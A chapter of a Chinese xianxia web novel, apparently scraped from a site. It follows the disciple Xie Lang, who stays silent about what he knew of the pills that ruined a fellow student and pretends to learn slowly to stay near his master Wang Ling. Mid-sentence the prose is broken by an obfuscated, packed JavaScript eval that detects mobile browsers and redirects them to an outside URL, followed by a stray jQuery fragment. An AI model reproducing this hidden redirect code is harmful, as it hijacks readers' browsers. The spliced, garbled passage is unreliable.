李默躺在地上,四肢依然不时抽搐,那张曾经还算周正的面孔此刻早已扭曲变形,暴起的青筋如蛛网般爬满脸庞,狰狞的青紫色逐渐被一股诡异的墨色浸染。
“快制住他!别让他乱动!”终于,两个胆子稍大的弟子按住他的肩背。
李默体内的灵力乱撞,隔着衣物都能感受到那股狂暴的冲劲。
没多久,清虚长老带着三位长老赶来。他扫了眼地上的李默,眉头紧锁:“怎么回事?”
“回长老,李师兄好像是走火入魔了!”一个弟子急声道,“我们早上发现他就这样了,旁边还有个空玉瓶……”
清虚长老捡起玉瓶,目光一凝,落在光洁的瓶口边缘。
那里篆着古朴金文,笔画如剑锋裁雪,自带孤冷之气,正是望泠的徽记。
清虚长老脸色一变:“这是凝神丹。”
此丹需以千年雪莲蕊为引,辅以三枚避水珠髓,昆吾宗内,唯有望泠有本事一次性拿出整瓶。
但望泠并没理由把如此珍贵的丹药给李默这个外门弟子。
“谢琅!”他猛地抬头,目光扫向闻讯赶来的谢琅,“这药是不是你给李默的?”
谢琅站在几步外,脸色苍白,双手紧张地攥着衣角:“是弟子给的。”
“你好大的胆子!”清虚长老怒斥,“凝神丹灵力霸道,一日最多一粒,方能被经脉吸纳。若多食,灵力必在体内淤积冲撞,搅乱经脉,最终走火入魔!你竟害他成了这样!”
“弟子没有害人!”谢琅看向清虚长老,脊背肃直,“李师兄对我有芥蒂,他知道师父给了我丹药,向我讨要,弟子怕给师父添麻烦,又想缓和同门关系,才把丹药给他。弟子并不知道,这个药吃下去会这样。”
周围渐渐围拢了弟子,有人低声议论:“李默平时就贪功,经常抢同门的灵宝法器。”
“谢师弟才入门,就得了掌门的凝神丹,难保不是李默心生妒忌,去抢来的。”
“对,掌门的凝神丹可是上品,他肯定自己急着突破,吃多了。”
“就是,若不是抢来的,哪里舍得这样吃!”
清虚长老听着议论,脸色变了几变。李默的风评他清楚,众口一词,不好硬说谢琅的不是。
望泠这时才到,她看了眼地上的李默,眉头微蹙。
“还有救吗?”清虚长老问。
“灵力逆行,经脉已断。”望泠蹲下身,指尖搭上李默的脉门,“再拖下去,会彻底入魔。”
她指尖泛起青光,按在李默眉心。李默猛地抽搐一下,随即瘫软下去,浑身凸起的青筋渐渐平复,脸色变得灰败。
“你废了他的根骨?”清虚长老惊道。
“留着根骨,魔气会蚀心。”望泠收回手,站起身,“断了修为,至少能保他性命。”
她目光扫过众弟子:“修炼最忌急功近利。一步踏错,万劫不复。”
弟子们纷纷低头,没人敢接话。
清虚长老看着谢琅,终是叹了口气:“罢了,此事……引以为戒。”
谢琅低头应是,眼角的余光瞥见望泠的背影,她正往山头走,周身气息冷冽,如同结了层薄冰的湖面,看着平静,底下却藏着翻涌的暗流。
谢琅望着那背影,忽然觉得,那股冷意里裹着别的东西,像被什么东西坠着,沉得发滞。
他攥着衣角的手,缓缓松开,疾步追了上去。
回到纤阿峰,望泠转身进了内室。谢琅立在门外,听见里面传来翻动书页的声响,没敢贸然进去。
“进来。”望泠的声音传出。
谢琅推门而入,见她坐在桌前,指尖搭在脉枕上,示意他过去。他依言坐下,将手腕递过去。
望泠指尖微凉,搭上他的脉门,闭目凝神。
片刻后收回手,眉头微蹙:“灵脉依旧紊乱。凝神丹本是助你梳理灵脉的关键,难道你一粒都未曾用过?”
谢琅垂眸:“是弟子愚钝。”
“跟我来。”望泠起身,走到院中,抬手演示起手式,“气沉丹田,意守玄关,试着引气入体。”
谢琅跟着摆出姿势,呼吸甫一放缓,便觉天地间游离的灵力顺着经脉往里钻,撞上淤塞处时略一滞涩,他凝神调整气息,不过片刻,灵力竟如细流般绕开阻滞,缓缓沉入丹田。
不过一刻钟,引气入体的关窍已通。
望泠收势时,见他气息平稳,眉心舒展,微微颔首:“还行。记住这个感觉,每日早晚各练一次。”
谢琅停下动作,指尖仍能感受到灵力流动的余温。他看着望泠,眼底掠过一丝不易察觉的亮——原来,这具被魔息伤过的身体,并非全然不堪。
“我去藏剑阁。”见他已然掌握,望泠便转身,“你自己练。”
谢琅低低应了声,目光追着望泠的背影往山道尽头去。
她素白的发带被山风掀起一角,墨色发尾在山风横斜里拂卷,步履生风,裙裾扫过石阶,竟仿若剑出鞘时的急势。
很快,最后一角素白没入山隘,谢琅才缓缓松开一直紧绷的肩背。
方才引气时,灵力在经脉里走得顺畅,甚至比她演示时的解说还要通透几分,三刻钟便摸到了气感的门径,可他收势时,特意压慢了半拍,连呼吸都调成了初学乍练的滞涩节奏。
他低头看着自己的手,掌心还残留着灵力游走的暖意。
学太快,她反而不教我了。
这念头像根细针,扎在心里最清楚的地方。
“资质好,未必能走得远。太过顺遂,反而容易恃才傲物。”
“修炼最忌急功近利,一步踏错,万劫不复。”
谢琅的眸中沉了下来,才来昆吾几日,他便已经听闻不少她的传言。
她是千年来资质最好,修炼最快的人。
她这样的人,对天赋异禀的或许早见得多了,未必会多费心;反而像他这样灵脉受损的,慢慢学才合她的意,
或许这样,才能留在她身边久一点,多学一点。
他重新摆出起势的姿势,刻意让呼吸乱了几分,引气时也故意往淤塞处硬冲,额角很快逼出一层冷汗,看上去比实际练得要吃力得多。日头西斜,山风渐凉,他就这么一动不动地僵在院里,连换个姿势都透着生涩。
傍晚时分,望泠的身影出现在山道拐角。谢琅眼角的余光瞥见那抹白,脊背下意识地挺得更直,只是手臂却控制不住地微微发颤。
望泠走近时,果然看见他还在院中,姿势比清晨初见时还要生涩,像是连基本的桩功都快撑不住了。
他抬眼时,目光里满是困惑,还带着一丝不易察觉的紧张,显然卡进了关窍不得而出。
“有什么问题?”她走近。
谢琅抬眸,黑沉的瞳在见到她的时候微微亮起:“嗯,感觉灵力到了胸口就散了,不知道哪里错了。”
望泠演示了一遍:“气别走太急,沉下去,顺着经脉走,别硬冲。”
谢琅再试,果然顺畅些。
“你道心不稳。”望泠忽然说,“修炼时杂念太多。”
谢琅动作一顿,避开她的目光:“弟子……想到李师兄的事,心里过意不去。”
“与你无关。”望泠语气平淡,“是他自己的选择。”
“可药是我给的。”
“你没错。”望泠看着他,“错的是急功近利的心思。修炼一道,慢即是快。太快,容易根基不稳,心魔趁虚而入。”
谢琅低头,掩去眼底的情绪:“弟子明白了。”
望泠抬手,握住他的尺关,她的指节冰凉,但一股醇厚温暖的灵力顺着谢琅的筋脉缓缓注入,循着周天运行,徐徐沉入丹田。
谢琅的身体微微一滞。
“你的心跳很快。”望泠眉峰蹙起,“凝神静气,摒除杂念。”
“是。”谢琅连忙阖眼,深深吸气,再缓缓吐息,胸腔里的鼓点却愈发急促。她指尖落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138776|180382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处,像燃了点火星,烫得他经脉都发紧。
“今日不宜再练了,”望泠收回手,灵力骤然抽离,“先到这,有什么问题,及时报知我。”
她转身时衣袂扫过他的肘弯,谢琅僵在原地,那点灼烫还留在脉上,混着她指尖的凉意,在皮肉下翻涌。
虽才入门,谢琅却也能感受到,望泠的灵气,有着玉石相击的冷脆,每一丝灵力都收得极稳。
与他在断尘渊初见时截然不同。
那时候,她的气是烈的,是野火燎原的放肆,连指尖漏出的灵息都带着逼人的热意。
就算后来她忘了那一切,同一个人的灵力真的会有这么大的分别么?
此后一段时间,望泠隔两日会在上午花一刻钟查看谢琅的炼气进度,之后便会去剑阁或藏书阁,不再露面。
一晃三个月过去。
宗门广场上,公告牌前围满了弟子。红纸黑字写得分明:三日后开启苍梧秘境历练,炼气三阶以上者可报名。
谢琅挤开人群,目光落在“炼气三阶”四字上。他掐了掐指尖,体内灵力流转顺畅。
这苍梧秘境是昆吾宗新入门弟子必历练的秘境之一,等级并不高,外围更有长老布下的监察阵,弟子即便遇险,最多受些皮外伤。
上个月,他听望泠提过这个秘境,不过当时,她认为谢琅不太能赶在今年苍梧秘境开启之前抵达炼气三阶。
但昨日夜里,他正好摸到了炼气三阶的边。
“谢师弟也要去?”身后传来一声嗤笑,“听说你灵脉受过伤,就算勉强摸到三阶,进了秘境也是拖后腿的吧?不若再多修炼些时日。”
“是啊,谢师弟,我看你的运气也都用在了拜入望泠仙子门下了。你不知道,若是运势不好,进了秘境,也会有性命之忧的!”
“谢师弟才入门三个月,学观星起卦了没有啊?要不要我来给你卜上一卦?”
“算什么算,多半是个凶卦。”一个同门不屑道。
周围的窃笑声此起彼伏,夹杂着各种酸溜溜的话语,像针一样扎向谢琅。
但谢琅并未言语,一双雾沉沉的眼睛次第眄过那些说风凉话的面孔,不知在想些什么。
“此次秘境历练,由我带队。”
众人闻声回头,只见望泠立在石阶顶,一袭白衣映着天光,周身气场凛凛。
她目光越过广场,最终落在谢琅身上,淡淡道:“符合条件者,均可报名。”
人群瞬间安静。
清虚长老眉头微蹙:“今年苍梧秘境虽有异动,但派个内门长老带队即可,掌门何必亲自去?”
“掌门是担心谢琅?”另一位长老直言,“他才入门,修为尚浅,确实该多照拂。但有我们在,断不会让他出事。”
这话一出,不少人点头附和。
大家都清楚,谢琅入门时日尚浅,虽有望泠亲自教导,但因其天赋实属寻常,掌门亲传弟子这个位置,其实坐得非常吃力。
望泠抬眸:“他是我弟子,初次历练,我随行护持,也是师徒本分。”
谢琅猛地抬头,心口像是被什么东西撞了一下。
他从小见惯了猜忌与利用,从未有人这样直白地将护持摆在明面上。
在断尘渊,她也曾笑得邪气又认真:“欺负过你的人,我替你把他们都杀了。”
但她那个时候也从未说过什么“护持”的话。
谢琅喉头滚动,突然拨开人群,几步走到石阶下,噗通一声跪倒在地。
青石地面被撞得闷响,他却浑然不觉,额头抵着石面,声音在寂静的广场上格外清晰:“弟子谢琅,蒙师父不弃,收录门下。此番历练,定当谨守规矩,绝不给师父惹祸。他日若能有所成就,必以性命护昆吾,护师父周全!”
周围倒抽冷气的声音此起彼伏,连望泠都怔了一瞬。
她指尖在袖中微动,目光落在他紧绷的肩背上,半晌才淡淡道:“起来吧。”